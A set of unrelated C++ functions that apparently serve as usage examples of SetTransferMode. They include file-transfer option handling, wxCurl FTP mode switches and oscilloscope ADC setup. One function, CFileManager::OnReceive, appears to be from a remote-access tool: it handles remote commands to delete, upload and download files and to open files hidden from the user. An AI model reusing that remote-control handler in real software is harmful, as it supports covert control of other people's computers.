void TCopyParamType::Default() { // when changing defaults, make sure GetInfoStr() can handle it SetFileNameCase(ncNoChange); SetPreserveReadOnly(false); SetPreserveTime(true); SetPreserveTimeDirs(false); FRights.SetNumber(TRights::rfDefault); SetPreserveRights(false); // Was True until #106 SetIgnorePermErrors(false); FAsciiFileMask.SetMasks(UnicodeString(L"*.*html; *.htm; *.txt; *.php; *.php3; *.cgi; *.c; *.cpp; *.h; *.pas; " L"*.bas; *.tex; *.pl; *.js; .htaccess; *.xtml; *.css; *.cfg; *.ini; *.sh; *.xml")); SetTransferMode(tmBinary); SetAddXToDirectories(true); SetResumeSupport(rsSmart); SetResumeThreshold(100 * 1024); // (100 KB) SetInvalidCharsReplacement(TokenReplacement); SetLocalInvalidChars(LOCAL_INVALID_CHARS); SetCalculateSize(true); SetFileMask(L"*.*"); GetIncludeFileMask().SetMasks(L""); SetTransferSkipList(nullptr); SetTransferResumeFile(L""); SetClearArchive(false); SetRemoveCtrlZ(false); SetRemoveBOM(false); SetCPSLimit(0); SetNewerOnly(false); }
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { switch (lpBuffer[0]) { case COMMAND_LIST_FILES:// 获取文件列表 SendFilesList((char *)lpBuffer + 1); break; case COMMAND_DELETE_FILE:// 删除文件 DeleteFile((char *)lpBuffer + 1); SendToken(TOKEN_DELETE_FINISH); break; case COMMAND_DELETE_DIRECTORY:// 删除文件 ////printf("删除目录 %s\n", (char *)(bPacket + 1)); DeleteDirectory((char *)lpBuffer + 1); SendToken(TOKEN_DELETE_FINISH); break; case COMMAND_DOWN_FILES: // 上传文件 UploadToRemote(lpBuffer + 1); break; case COMMAND_CONTINUE: // 上传文件 SendFileData(lpBuffer + 1); break; case COMMAND_CREATE_FOLDER: CreateFolder(lpBuffer + 1); break; case COMMAND_RENAME_FILE: Rename(lpBuffer + 1); break; case COMMAND_STOP: StopTransfer(); break; case COMMAND_SET_TRANSFER_MODE: SetTransferMode(lpBuffer + 1); break; case COMMAND_FILE_SIZE: CreateLocalRecvFile(lpBuffer + 1); break; case COMMAND_FILE_DATA: WriteLocalRecvFile(lpBuffer + 1, nSize -1); break; case COMMAND_OPEN_FILE_SHOW: OpenFile((char *)lpBuffer + 1, SW_SHOW); break; case COMMAND_OPEN_FILE_HIDE: OpenFile((char *)lpBuffer + 1, SW_HIDE); break; default: break; } }
void TCopyParamType::Load(THierarchicalStorage * Storage) { SetAddXToDirectories(Storage->ReadBool("AddXToDirectories", GetAddXToDirectories())); GetAsciiFileMask().SetMasks(Storage->ReadString("Masks", GetAsciiFileMask().GetMasks())); SetFileNameCase(static_cast<TFileNameCase>(Storage->ReadInteger("FileNameCase", GetFileNameCase()))); SetPreserveReadOnly(Storage->ReadBool("PreserveReadOnly", GetPreserveReadOnly())); SetPreserveTime(Storage->ReadBool("PreserveTime", GetPreserveTime())); SetPreserveTimeDirs(Storage->ReadBool("PreserveTimeDirs", GetPreserveTimeDirs())); SetPreserveRights(Storage->ReadBool("PreserveRights", GetPreserveRights())); SetIgnorePermErrors(Storage->ReadBool("IgnorePermErrors", GetIgnorePermErrors())); FRights.SetText(Storage->ReadString("Text", GetRights().GetText())); SetTransferMode(static_cast<TTransferMode>(Storage->ReadInteger("TransferMode", GetTransferMode()))); SetResumeSupport(static_cast<TResumeSupport>(Storage->ReadInteger("ResumeSupport", GetResumeSupport()))); SetResumeThreshold(Storage->ReadInt64("ResumeThreshold", GetResumeThreshold())); SetInvalidCharsReplacement(static_cast<wchar_t>(Storage->ReadInteger("ReplaceInvalidChars", static_cast<int>(GetInvalidCharsReplacement())))); SetLocalInvalidChars(Storage->ReadString("LocalInvalidChars", GetLocalInvalidChars())); SetCalculateSize(Storage->ReadBool("CalculateSize", GetCalculateSize())); if (Storage->ValueExists("IncludeFileMask")) { GetIncludeFileMask().SetMasks(Storage->ReadString("IncludeFileMask", GetIncludeFileMask().GetMasks())); } else if (Storage->ValueExists("ExcludeFileMask")) { UnicodeString ExcludeFileMask = Storage->ReadString("ExcludeFileMask", UnicodeString()); if (!ExcludeFileMask.IsEmpty()) { bool NegativeExclude = Storage->ReadBool("NegativeExclude", false); if (NegativeExclude) { GetIncludeFileMask().SetMasks(ExcludeFileMask); } // convert at least simple cases to new format else if (ExcludeFileMask.Pos(INCLUDE_EXCLUDE_FILE_MASKS_DELIMITER) == 0) { GetIncludeFileMask().SetMasks(UnicodeString(INCLUDE_EXCLUDE_FILE_MASKS_DELIMITER) + ExcludeFileMask); } } } SetTransferSkipList(nullptr); SetTransferResumeFile(L""); SetClearArchive(Storage->ReadBool("ClearArchive", GetClearArchive())); SetRemoveCtrlZ(Storage->ReadBool("RemoveCtrlZ", GetRemoveCtrlZ())); SetRemoveBOM(Storage->ReadBool("RemoveBOM", GetRemoveBOM())); SetCPSLimit(Storage->ReadInteger("CPSLimit", GetCPSLimit())); SetNewerOnly(Storage->ReadBool("NewerOnly", GetNewerOnly())); }
void wxCurlFTP::SetToAscii() { SetTransferMode(kASCII); }
void wxCurlFTP::SetToBinary() { SetTransferMode(kBINARY); }
void TiePieHS3::sample_after_external_trigger(double _rate, size_t _samples, double _sensitivity ,size_t _resolution) { ADC_Abort(); /* set autoranging off */ SetAutoRanging(Ch1,0); SetAutoRanging(Ch2,0); samples=_samples; if (samples==0 || _rate<=0) return; unsigned short int retval; //samples=1024*1024*1024; // impossible value... provoke error retval=SetRecordLength(samples); if (0!=retval) { char buffer[256]; snprintf(buffer, sizeof(buffer), "could not set record length: SetRecrodLength(%d) returned %d", samples, retval); throw ADC_exception(std::string(buffer)); } if (0!=SetPostSamples(samples)){ throw ADC_exception("could not set post sample number"); } fprintf(stderr,"set sample number to %d\n",samples); /* set sampling frequency */ unsigned int freq=(unsigned int)fabs(floor(_rate)+0.5); unsigned int freq_req=freq; SetSampleFrequency(&freq_req); if (freq!=freq_req) throw ADC_exception("requested frequency could not be set"); rate=freq_req; fprintf(stderr,"set rate to %g\n",rate); /* set resolution */ if (0!=SetResolution(_resolution)) throw ADC_exception("could not set resolution"); unsigned char resolution_set; GetResolution(&resolution_set); if (_resolution!=resolution_set) throw ADC_exception("requested resolution not supported"); resolution=_resolution; fprintf(stderr,"set resolution to %d\n",resolution); #if 0 /* set DC level value to zero */ const double dclevel_req=-2.0; if (E_NO_ERRORS!=SetDcLevel(1, dclevel_req)) throw ADC_exception("could not set dc level for channel 1"); if (E_NO_ERRORS!=SetDcLevel(2, dclevel_req)) throw ADC_exception("could not set dc level for channel 2"); #endif /* set input sensitivity for both channels */ double sensitivity_req1=_sensitivity; SetSensitivity(1,&sensitivity_req1); double sensitivity_req2=_sensitivity; SetSensitivity(2,&sensitivity_req2); if (sensitivity_req1!=_sensitivity || sensitivity_req2!=_sensitivity) throw ADC_exception("requested sensitivity could not be set"); sensitivity=_sensitivity; fprintf(stderr,"set sensitivity to %g\n",sensitivity); /* set input coupling to DC */ if (0!=SetCoupling(Ch1, ctDC) || 0!=SetCoupling(Ch2, ctDC)) throw ADC_exception("could not set coupling to dc"); /* what to measure */ if (E_NO_ERRORS!=SetMeasureMode(mmCh12)) /* Channel 1 and 2 */ throw ADC_exception("could not set measurement mode"); /* the trigger source */ if (E_NO_ERRORS!=SetTriggerSource(tsExternal)) /* external trigger */ throw ADC_exception("could not set trigger source"); /* which slope to trigger */ if (E_NO_ERRORS!=SetTriggerMode(tmRising)) /* 0=Rising slope */ throw ADC_exception("could not set trigger source"); /* set transfer mode */ if (E_NO_ERRORS!=SetTransferMode(tmBlock)) throw ADC_exception("could not set transfer mode"); /* finally start the measurement */ if (0!=ADC_Start()) throw ADC_exception("could not start triggered adc measurement"); fprintf(stderr,"started triggered adc measurement with %d samples, rate=%g, sensitivity=%g, resolution=%d\n",samples,rate,sensitivity,resolution); }